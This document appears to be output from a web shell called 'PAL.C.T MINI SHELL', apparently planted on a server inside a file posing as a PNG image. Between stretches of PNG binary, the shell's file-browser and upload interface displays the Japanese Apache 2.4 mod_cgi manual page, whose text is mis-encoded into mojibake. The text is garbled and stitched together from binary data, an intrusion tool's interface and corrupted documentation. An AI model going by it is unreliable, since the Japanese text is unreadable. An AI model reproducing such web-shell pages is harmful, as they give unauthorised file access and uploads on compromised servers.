‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /opt/lampp/manual/mod/
upload
files >> //opt/lampp/manual/mod/mod_cgi.html.ja.utf8

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja"><head>
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
<!--
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
              This file is generated from xml source: DO NOT EDIT
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      -->
<title>mod_cgi - Apache HTTP サームãƒãƒ¼ã‚¸ãƒ§ãƒ³ 2.4</title>
<link href="../style/css/manual.css" rel="stylesheet" media="all" type="text/css" title="Main stylesheet" />
<link href="../style/css/manual-loose-100pc.css" rel="alternate stylesheet" media="all" type="text/css" title="No Sidebar - Default font size" />
<link href="../style/css/manual-print.css" rel="stylesheet" media="print" type="text/css" /><link rel="stylesheet" type="text/css" href="../style/css/prettify.css" />
<script src="../style/scripts/prettify.min.js" type="text/javascript">
</script>

<link href="../images/favicon.ico" rel="shortcut icon" /></head>
<body>
<div id="page-header">
<p class="menu"><a href="../mod/">モジュール</a> | <a href="../mod/directives.html">ディレクティブ</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">用語</a> | <a href="../sitemap.html">サイトマップ</a></p>
<p class="apache">Apache HTTP サームãƒãƒ¼ã‚¸ãƒ§ãƒ³ 2.4</p>
<img alt="" src="../images/feather.gif" /></div>
<div class="up"><a href="./"><img title="&lt;-" alt="&lt;-" src="../images/left.gif" /></a></div>
<div id="path">
<a href="http://www.apache.org/">Apache</a> &gt; <a href="http://httpd.apache.org/">HTTP サーãƒ</a> &gt; <a href="http://httpd.apache.org/docs/">ドキュメンテーション</a> &gt; <a href="../">ãƒãƒ¼ã‚¸ãƒ§ãƒ³ 2.4</a> &gt; <a href="./">モジュール</a></div>
<div id="page-content">
<div id="preamble"><h1>Apache モジュール mod_cgi</h1>
<div class="toplang">
<p><span>翻訳済ã¿è¨€èªž: </span><a href="../en/mod/mod_cgi.html" hreflang="en" rel="alternate" title="English">&nbsp;en&nbsp;</a> |
<a href="../fr/mod/mod_cgi.html" hreflang="fr" rel="alternate" title="Français">&nbsp;fr&nbsp;</a> |
<a href="../ja/mod/mod_cgi.html" title="Japanese">&nbsp;ja&nbsp;</a> |
<a href="../ko/mod/mod_cgi.html" hreflang="ko" rel="alternate" title="Korean">&nbsp;ko&nbsp;</a></p>
</div>
<table class="module"><tr><th><a href="module-dict.html#Description">説明:</a></th><td>CGI スクリプトã®å®Ÿè¡Œ</td></tr>
<tr><th><a href="module-dict.html#Status">ステータス:</a></th><td>Base</td></tr>
<tr><th><a href="module-dict.html#ModuleIdentifier">モジュール識別å­:</a></th><td>cgi_module</td></tr>
<tr><th><a href="module-dict.html#SourceFile">ソースファイル:</a></th><td>mod_cgi.c</td></tr></table>
<h3>概è¦</h3>

    <p>ãƒãƒ³ãƒ‰ãƒ© <code>cgi-script</code>
    ãŒæŒ‡å®šã•れã¦ã„るファイル㯠CGI スクリプトã¨ã—ã¦æ‰±ã‚れã€
    サーãƒã«ã‚ˆã‚Šå®Ÿè¡Œã•れã€ãã®å‡ºåŠ›ãŒã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆã«è¿”ã•れã¾ã™ã€‚
    ファイルã¯ã€<code class="directive"><a href="../mod/mod_mime.html#addhandler">AddHandler</a></code>
    ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–ã«æŒ‡å®šã•れ㟠拡張å­ã‚’åå‰ã«å«ã‚€ã‹ã€
    <code class="directive"><a href="../mod/mod_alias.html#scriptalias">ScriptAlias</a></code>
    ディレクトリã«å­˜åœ¨ã™ã‚‹ã“ã¨ã«ã‚ˆã‚Šã“ã®ãƒãƒ³ãƒ‰ãƒ©ã«ãªã‚Šã¾ã™ã€‚</p>

    <p>Apache ã§ CGI スクリプトを使用ã™ã‚‹ãŸã‚ã®ã‚¤ãƒ³ãƒˆãƒ­ãƒ€ã‚¯ã‚·ãƒ§ãƒ³ã¯ã€
    <a href="../howto/cgi.html">CGI ã«ã‚ˆã‚‹å‹•的コンテンツ</a>
    ã‚’å‚ç…§ã—ã¦ãã ã•ã„。</p>

    <p>Unix ã§ãƒžãƒ«ãƒã‚¹ãƒ¬ãƒƒãƒ‰ã® MPM を使ã£ã¦ã„ã‚‹å ´åˆã¯ã€ã“ã®ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã®
    代ã‚り㫠<code class="module"><a href="../mod/mod_cgid.html">mod_cgid</a></code> を使ã†å¿…è¦ãŒã‚りã¾ã™ã€‚
    ユーザレベルã§ã¯ã“ã®äºŒã¤ã®ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã¯æœ¬è³ªçš„ã«ã¯åŒä¸€ã§ã™ã€‚</p>

    <p>å¾Œæ–¹äº’æ›æ€§ã®ãŸã‚〠MIME タイプ㌠<code>application/x-httpd-cgi</code> 
    ã§ã‚るファイルã§ã‚‚ cgi-script ãƒãƒ³ãƒ‰ãƒ©ãŒæœ‰åйã«ãªã‚Šã¾ã™ã€‚ã“ã®ç‰¹æ®Šãª MIME タイプを
    ä½¿ã†æ–¹æ³•ã¯éžæŽ¨å¥¨ã§ã™ã€‚</p> 
</div>
<div id="quickview"><h3>トピック</h3>
<ul id="topics">
<li><img alt="" src="../images/down.gif" /> <a href="#env">CGI 環境変数</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#cgi-debug">CGI ã®ãƒ‡ãƒãƒƒã‚°</a></li>
</ul><h3 class="directives">ディレクティブ</h3>
<ul id="toc">
<li><img alt="" src="../images/down.gif" /> <a href="#scriptlog">ScriptLog</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#scriptlogbuffer">ScriptLogBuffer</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#scriptloglength">ScriptLogLength</a></li>
</ul>
<h3>å‚ç…§</h3>
<ul class="seealso">
<li><code class="directive"><a href="../mod/core.html#acceptpathinfo">AcceptPathInfo</a></code></li>
<li><code class="directive"><a href="../mod/core.html#options">Options</a></code> ExecCGI</li>
<li><code class="directive"><a href="../mod/mod_alias.html#scriptalias">ScriptAlias</a></code></li>
<li><code class="directive"><a href="../mod/mod_mime.html#addhandler">AddHandler</a></code></li>
<li><a href="../suexec.html">CGI プログラムを別ã®ãƒ¦ãƒ¼ã‚¶ ID ã§å®Ÿè¡Œã™ã‚‹</a></li>
<li><a href="http://www.ietf.org/rfc/rfc3875">CGI è¦æ ¼æ›¸</a></li>
</ul><ul class="seealso"><li><a href="#comments_section">コメント</a></li></ul></div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="env" id="env">CGI 環境変数</a></h2>
    <p>サーãƒã¯ <a href="http://www.ietf.org/rfc/rfc3875">CGI
    è¦æ ¼</a> ã§æ±ºã‚られã¦ã„ã‚‹ CGI
    環境変数を設定ã—ã¾ã™ã€‚以下ã®ã‚‚ã®ã¯ã€æ¡ä»¶ä»˜ãã§è¨­å®šã•れã¾ã™ã€‚</p>

    <dl>
      <dt>PATH_INFO</dt>

      <dd>ã“れ㯠<code class="directive"><a href="../mod/core.html#acceptpathinfo">AcceptPathInfo</a></code> ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–ãŒæ˜Žç¤ºçš„ã« <code>off</code>
      ã«è¨­å®šã•れã¦ã„ã‚‹å ´åˆã¯è¨­å®šã•れã¾ã›ã‚“。デフォルトã®ã€
      <code class="directive">AcceptPathInfo</code> ãŒ
      指定ã•れã¦ã„ãªã„ã¨ãã®æŒ¯ã‚‹èˆžã„ã§ã¯ã€<code class="module"><a href="../mod/mod_cgi.html">mod_cgi</a></code> ã¯ãƒ‘ス情報
      (URI ã®ã‚¹ã‚¯ãƒªãƒ—トã®ãƒ•ァイルåã®å¾Œã«ç¶šã <code>/more/path/info</code>) ã‚’
      å—ã‘付ã‘ã¾ã™ãŒã€ã‚³ã‚¢ã¯ã‚µãƒ¼ãƒã¯ãƒ‘ス情報ã®ã‚るリクエストã«
      対ã—㦠404 NOT FOUND エラーを返ã—ã¾ã™ã€‚<code class="directive">AcceptPathInfo</code>
      ディレクティブを
      çœç•¥ã™ã‚‹ã¨ã€<code class="module"><a href="../mod/mod_cgi.html">mod_cgi</a></code> ã¸ã®ãƒªã‚¯ã‚¨ã‚¹ãƒˆã«å¯¾ã—ã¦
      <code>On</code> ã‚’
      設定ã—ãŸã®ã¨åŒã˜åŠ¹æžœã«ãªã‚Šã¾ã™ã€‚</dd>

      <dt>REMOTE_HOST</dt>

      <dd><code class="directive"><a href="../mod/core.html#hostnamelookups">HostnameLookups</a></code>
      ㌠<code>on</code> (デフォルトã§ã¯ off ã§ã™)
      ã§ã€ã‚¢ã‚¯ã‚»ã‚¹ã—ã¦ã„るホストã®ã‚¢ãƒ‰ãƒ¬ã‚¹ã® DNS
      ã®é€†å¼•ããŒå®Ÿéš›ã«ãƒ›ã‚¹ãƒˆåを見ã¤ã‘ãŸã¨ãã«ã®ã¿è¨­å®šã•れã¾ã™ã€‚</dd>

      <dt>REMOTE_IDENT</dt>

      <dd><code class="directive"><a href="../mod/mod_ident.html#identitycheck">IdentityCheck</a></code>
      ㌠<code>on</code> ã«è¨­å®šã•れã¦ã„ã¦ã€ã‚¢ã‚¯ã‚»ã‚¹ã—ã¦ã„るホストãŒ
      ident プロトコルをサãƒãƒ¼ãƒˆã—ã¦ã„ã‚‹ã¨ãã«ã®ã¿è¨­å®šã•れã¾ã™ã€‚
      ã“れã¯ç°¡å˜ã«å½ã‚‹ã“ã¨ãŒã§ãã€ã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆã¨ã‚µãƒ¼ãƒã®é–“ã«
      プロキシãŒã‚れã°ã¾ã£ãŸãå½¹ã«ç«‹ãŸãªã„ã®ã§ã€
      ã“ã®å¤‰æ•°ã®å€¤ã¯ä¿¡ç”¨ã§ããªã„ã¨ã„ã†ã“ã¨ã«æ³¨æ„ã—ã¦ãã ã•ã„。
      </dd>

      <dt>REMOTE_USER</dt>

      <dd>CGI
      スクリプトã«èªè¨¼ãŒå¿…è¦ãªã¨ãã«ã®ã¿è¨­å®šã•れã¾ã™ã€‚</dd>
    </dl>
</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="cgi-debug" id="cgi-debug">CGI ã®ãƒ‡ãƒãƒƒã‚°</a></h2>
    <p>CGI スクリプトã®ãƒ‡ãƒãƒƒã‚°ã¯ã€æ­£ã—ã動作ã—ã¦ã„ãªã„スクリプトã®å‡ºåŠ›
    (標準出力ã¨ã‚¨ãƒ©ãƒ¼)
    を調ã¹ã‚‹ã“ã¨ãŒã§ããªã„ãŸã‚ã«ã€é›£ã—ã„状態ãŒç¶šã„ã¦ã„ã¾ã—ãŸã€‚
    ã“れらã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–ã¯ã‚ˆã‚Šè©³ç´°ãªã‚¨ãƒ©ãƒ¼ã®ãƒ­ã‚°åŽé›†ã‚’æä¾›ã—ã¾ã™ã€‚</p>

    <h3>CGI ãƒ­ã‚°ãƒ•ã‚¡ã‚¤ãƒ«ã®æ›¸å¼</h3>
	<p>設定ã•れã¦ã„ã‚‹ã¨ãã«ã¯ã€CGI エラーログã¯é©åˆ‡ã«å‹•作ã—ãªã„ã™ã¹ã¦ã®
	CGI をログåŽé›†ã—ã¾ã™ã€‚ãれãžã‚Œã®æ­£ã—ã動作ã—ãªã„ CGI
	スクリプト㯠複数ã®è¡Œã«ã‚ãŸã‚‹æƒ…å ±ãŒãƒ­ã‚°åŽé›†ã•れã¾ã™ã€‚最åˆã®
	2 行ã¯å¸¸ã«ä»¥ä¸‹ã®æ›¸å¼ã§ã™:</p>

      <div class="example"><p><code>
        %% [<var>time</var>] <var>request-line</var><br />
        %% <var>HTTP-status</var> <var>CGI-script-filename</var>
      </code></p></div>

      <p>エラーãŒã€CGI スクリプトãŒå®Ÿè¡Œã§ããªã„ã¨ã„ã†ã‚‚ã®ã§ã‚ã‚‹å ´åˆã¯ã€
      ログファイルã¯ã•らã«ã‚‚ㆠ2 行書ã‹ã‚Œã¾ã™:</p>

      <div class="example"><p><code>
        %%error<br />
        <var>error-message</var>
      </code></p></div>

      <p>ãã†ã§ã¯ãªãã€ã‚¨ãƒ©ãƒ¼ãŒæ­£ã—ããªã„ヘッダ情報を返ã™çµæžœã§ã‚ã‚‹å ´åˆ
      (スクリプトã®ãƒã‚°ã§ã‚ã‚‹ã“ã¨ãŒã‚ˆãã‚りã¾ã™)ã€
      ä»¥ä¸‹ã®æƒ…å ±ãŒãƒ­ã‚°åŽé›†ã•れã¾ã™:</p>

    <div class="example"><p><code>
      %request<br />
      <var>å—ã‘å–ã£ãŸã™ã¹ã¦ã® HTTP リクエストヘッダ</var><br />
      <var>(ã‚‚ã—ã‚れã°) POST ã‚„ PUT ã®ä¸­èº«</var><br />
      %response<br />
      <var>CGI スクリプトã«ã‚ˆã‚Šå‡ºåŠ›ã•れãŸã™ã¹ã¦ã®ãƒ˜ãƒƒãƒ€</var><br />
      %stdout<br />
      <var>CGI 標準出力</var><br />
      %stderr<br />
      <var>CGI 標準エラー</var><br />
    </code></p></div>

    <p>(ã‚¹ã‚¯ãƒªãƒ—ãƒˆãŒæ¨™æº–出力や標準エラーã«ä½•も出力ã—ãªã‹ã£ãŸå ´åˆã¯ã€
    %stdout ã‚„ %stderr ã¯ã‚りã¾ã›ã‚“)。</p>

</div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="ScriptLog" id="ScriptLog">ScriptLog</a> <a name="scriptlog" id="scriptlog">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>CGI スクリプトã®ã‚¨ãƒ©ãƒ¼ãƒ­ã‚°ãƒ•ァイルã®å ´æ‰€</td></tr>
<tr><th><a href="directive-dict.html#Syntax">æ§‹æ–‡:</a></th><td><code>ScriptLog <var>file-path</var></code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>サーãƒè¨­å®šãƒ•ァイル, ãƒãƒ¼ãƒãƒ£ãƒ«ãƒ›ã‚¹ãƒˆ</td></tr>
<tr><th><a href="directive-dict.html#Status">ステータス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モジュール:</a></th><td><code class="module"><a href="../mod/mod_cgi.html">mod_cgi</a></code>, <code class="module"><a href="../mod/mod_cgid.html">mod_cgid</a></code></td></tr>
</table>
    <p><code class="directive">ScriptLog</code> ディレクティブ㯠CGI スクリプトã®
    エラーログファイルを設定ã—ã¾ã™ã€‚<code class="directive">ScriptLog</code> ãŒ
    設定ã•れã¦ã„ãªã„ã¨ãã¯ã€
    エラーログã¯ä½œæˆã•れã¾ã›ã‚“。設定ã•れã¦ã„ã‚‹ã¨ãã¯ã€CGI
    ã®ã‚¨ãƒ©ãƒ¼ã¯ã™ã¹ã¦å¼•æ•°ã¨ã—ã¦ä¸Žãˆã‚‰ã‚Œã¦ã„るファイルåã«ãƒ­ã‚°ã•れã¾ã™ã€‚
    ç›¸å¯¾ãƒ‘ã‚¹ã§æŒ‡å®šã•れã¦ã„ã‚‹ã¨ãã¯ã€
    <code class="directive"><a href="../mod/core.html#serverroot">ServerRoot</a></code>ã‹ã‚‰ã®ç›¸å¯¾ãƒ‘スã¨ã—ã¦
    扱ã‚れã¾ã™ã€‚</p>

    <div class="example"><h3>例</h3><pre class="prettyprint lang-config">ScriptLog logs/cgi_log</pre>
</div>

    <p>ã“ã®ãƒ­ã‚°ã¯å­ãƒ—ロセスãŒå®Ÿè¡Œã•れã¦ã„るユーザã¨ã—ã¦ã‚ªãƒ¼ãƒ—ンã•れã¾ã™ã€‚
    <em>ã™ãªã‚ã¡</em>ã€<code class="directive"><a href="../mod/mod_unixd.html#user">User</a></code> ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–ã§æŒ‡å®šã•れãŸ
    ユーザã§ã™ã€‚ã“れã¯ã€ã‚¹ã‚¯ãƒªãƒ—ãƒˆãƒ­ã‚°ãŒæ›¸ã‹ã‚Œã‚‹ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªãŒãã®ãƒ¦ãƒ¼ã‚¶ã§
    書ãè¾¼ã¿å¯èƒ½ã‹ã€ã‚¹ã‚¯ãƒªãƒ—ãƒˆãƒ•ã‚¡ã‚¤ãƒ«ãŒæ‰‹å‹•ã§ä½œæˆã•れã€ãã®ãƒ¦ãƒ¼ã‚¶ã§
    書ãè¾¼ã¿å¯èƒ½ã«ãªã£ã¦ã„ã‚‹å¿…è¦ãŒã‚ã‚‹ã¨ã„ã†ã“ã¨ã§ã™ã€‚スクリプトログを
    アクセスログãªã©ã®ãŸã‚ã®ãƒ­ã‚°ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã«æ›¸ã‹ã‚Œã‚‹ã‚ˆã†ã«ã—ãŸã¨ãã¯ã€
    ãã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’å­ãƒ—ロセスを実行ã—ã¦ã„ã‚‹ãƒ¦ãƒ¼ã‚¶ã®æ¨©é™ã§
    書ãè¾¼ã¿å¯èƒ½ã«ã¯<strong>ã—ãªã„</strong>よã†ã«ã—ã¦ãã ã•ã„。</p>

    <p>スクリプトã®ãƒ­ã‚°åŽé›†ã¯ CGI スクリプトを書ãã¨ãã®
    デãƒãƒƒã‚°ç”¨ã®æ©Ÿèƒ½ã¨ã—ã¦æ„図ã•れã¦ã„ã¦ã€é€šå¸¸ã®ã‚µãƒ¼ãƒã§
    常ã«ä½¿ç”¨ã•れるよã†ã«ã¯æ„図ã•れã¦ã„ãªã„ã¨ã„ã†ã“ã¨ã«æ³¨æ„ã—ã¦ãã ã•ã„。
    é€Ÿåº¦ã‚„åŠ¹çŽ‡ã¯æœ€é©åŒ–ã•れã¦ãŠã‚‰ãšã€è¨­è¨ˆã•れãŸä»¥å¤–ã®æ–¹æ³•ã§ä½¿ç”¨ã•れるã¨
    セキュリティã®å•題ãŒã‚ã‚‹ã‹ã‚‚ã—れã¾ã›ã‚“。</p>

</div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="ScriptLogBuffer" id="ScriptLogBuffer">ScriptLogBuffer</a> <a name="scriptlogbuffer" id="scriptlogbuffer">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>スクリプトログã«è¨˜éŒ²ã•れる PUT ã‚„ POST リクエストã®å†…容ã®ä¸Šé™</td></tr>
<tr><th><a href="directive-dict.html#Syntax">æ§‹æ–‡:</a></th><td><code>ScriptLogBuffer <em>bytes</em></code></td></tr>
<tr><th><a href="directive-dict.html#Default">デフォルト:</a></th><td><code>ScriptLogBuffer 1024</code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>サーãƒè¨­å®šãƒ•ァイル, ãƒãƒ¼ãƒãƒ£ãƒ«ãƒ›ã‚¹ãƒˆ</td></tr>
<tr><th><a href="directive-dict.html#Status">ステータス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モジュール:</a></th><td><code class="module"><a href="../mod/mod_cgi.html">mod_cgi</a></code>, <code class="module"><a href="../mod/mod_cgid.html">mod_cgid</a></code></td></tr>
</table>
    <p>大ããªæœ¬ä½“ã‚’å—ã‘å–ã£ãŸã¨ãã«ãƒ­ã‚°ãƒ•ァイルãŒã™ãã«å¤§ãããªã‚Šã™ãŽã‚‹
    å•題をé¿ã‘ã‚‹ãŸã‚ã«ã€ãƒ•ァイルã«ãƒ­ã‚°åŽé›†ã•れる PUT 㨠POST
    ã®æœ¬ä½“ã®å¤§ãã•ã¯åˆ¶é™ã•れã¦ã„ã¾ã™ã€‚デフォルトã§ã¯ã€1024
    ãƒã‚¤ãƒˆã¾ã§ãŒãƒ­ã‚°åŽé›†ã•れã¾ã™ãŒã€
    ã“ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–ã¯ãれを変更ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ 
    </p>

</div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="ScriptLogLength" id="ScriptLogLength">ScriptLogLength</a> <a name="scriptloglength" id="scriptloglength">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>CGI スクリプトã®ãƒ­ã‚°ãƒ•ァイルã®å¤§ãã•ã®ä¸Šé™</td></tr>
<tr><th><a href="directive-dict.html#Syntax">æ§‹æ–‡:</a></th><td><code>ScriptLogLength <var>bytes</var></code></td></tr>
<tr><th><a href="directive-dict.html#Default">デフォルト:</a></th><td><code>ScriptLogLength 10385760</code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>サーãƒè¨­å®šãƒ•ァイル, ãƒãƒ¼ãƒãƒ£ãƒ«ãƒ›ã‚¹ãƒˆ</td></tr>
<tr><th><a href="directive-dict.html#Status">ステータス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モジュール:</a></th><td><code class="module"><a href="../mod/mod_cgi.html">mod_cgi</a></code>, <code class="module"><a href="../mod/mod_cgid.html">mod_cgid</a></code></td></tr>
</table>
    <p><code class="directive">ScriptLogLength</code> 㯠CGI スクリプトã®ãƒ­ã‚°ãƒ•ァイル
    ã®å¤§ãã•を制é™ã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ログファイルã¯
    CGI ã®ã‚¨ãƒ©ãƒ¼æ¯Žã«å¤§é‡ã®æƒ…å ± (リクエストã®ã™ã¹ã¦ã®ãƒ˜ãƒƒãƒ€ã€
    ã™ã¹ã¦ã®å‡ºåŠ›)をログã—ã¾ã™ã®ã§ã€ã™ãã«å¤§ããªãƒ•ァイルã«ãªã‚Šã¾ã™ã€‚
    ã“ã®å¤§ãã•ã®åˆ¶é™ãŒãªã„ã“ã¨ã«ã‚ˆã‚‹å•題を防ããŸã‚ã«ã€
    ã“ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–を使ã£ã¦ CGI ã®ãƒ­ã‚°ãƒ•ァイルã®
    最大ã®ãƒ•ァイルサイズを設定ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚
    ファイルãŒã“ã®å¤§ãã•ã‚’è¶…ãˆãŸå ´åˆã¯ã€ãã‚Œä»¥ä¸Šã¯æ›¸ãè¾¼ã¾ã‚Œã¾ã›ã‚“。</p>

</div>
</div>
<div class="bottomlang">
<p><span>翻訳済ã¿è¨€èªž: </span><a href="../en/mod/mod_cgi.html" hreflang="en" rel="alternate" title="English">&nbsp;en&nbsp;</a> |
<a href="../fr/mod/mod_cgi.html" hreflang="fr" rel="alternate" title="Français">&nbsp;fr&nbsp;</a> |
<a href="../ja/mod/mod_cgi.html" title="Japanese">&nbsp;ja&nbsp;</a> |
<a href="../ko/mod/mod_cgi.html" hreflang="ko" rel="alternate" title="Korean">&nbsp;ko&nbsp;</a></p>
</div><div class="top"><a href="#page-header"><img src="../images/up.gif" alt="top" /></a></div><div class="section"><h2><a id="comments_section" name="comments_section">コメント</a></h2><div class="warning"><strong>Notice:</strong><br />This is not a Q&amp;A section. Comments placed here should be pointed towards suggestions on improving the documentation or server, and may be removed again by our moderators if they are either implemented or considered invalid/off-topic. Questions on how to manage the Apache HTTP Server should be directed at either our IRC channel, #httpd, on Freenode, or sent to our <a href="http://httpd.apache.org/lists.html">mailing lists</a>.</div>
<script type="text/javascript"><!--//--><![CDATA[//><!--
var comments_shortname = 'httpd';
var comments_identifier = 'http://httpd.apache.org/docs/2.4/mod/mod_cgi.html';
(function(w, d) {
    if (w.location.hostname.toLowerCase() == "httpd.apache.org") {
        d.write('<div id="comments_thread"><\/div>');
        var s = d.createElement('script');
        s.type = 'text/javascript';
        s.async = true;
        s.src = 'https://comments.apache.org/show_comments.lua?site=' + comments_shortname + '&page=' + comments_identifier;
        (d.getElementsByTagName('head')[0] || d.getElementsByTagName('body')[0]).appendChild(s);
    }
    else { 
        d.write('<div id="comments_thread">Comments are disabled for this page at the moment.<\/div>');
    }
})(window, document);
//--><!]]></script></div><div id="footer">
<p class="apache">Copyright 2015 The Apache Software Foundation.<br />ã“ã®æ–‡æ›¸ã¯ <a href="http://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a> ã®ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã§æä¾›ã•れã¦ã„ã¾ã™ã€‚.</p>
<p class="menu"><a href="../mod/">モジュール</a> | <a href="../mod/directives.html">ディレクティブ</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">用語</a> | <a href="../sitemap.html">サイトマップ</a></p></div><script type="text/javascript"><!--//--><![CDATA[//><!--
if (typeof(prettyPrint) !== 'undefined') {
    prettyPrint();
}
//--><!]]></script>
</body></html>
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚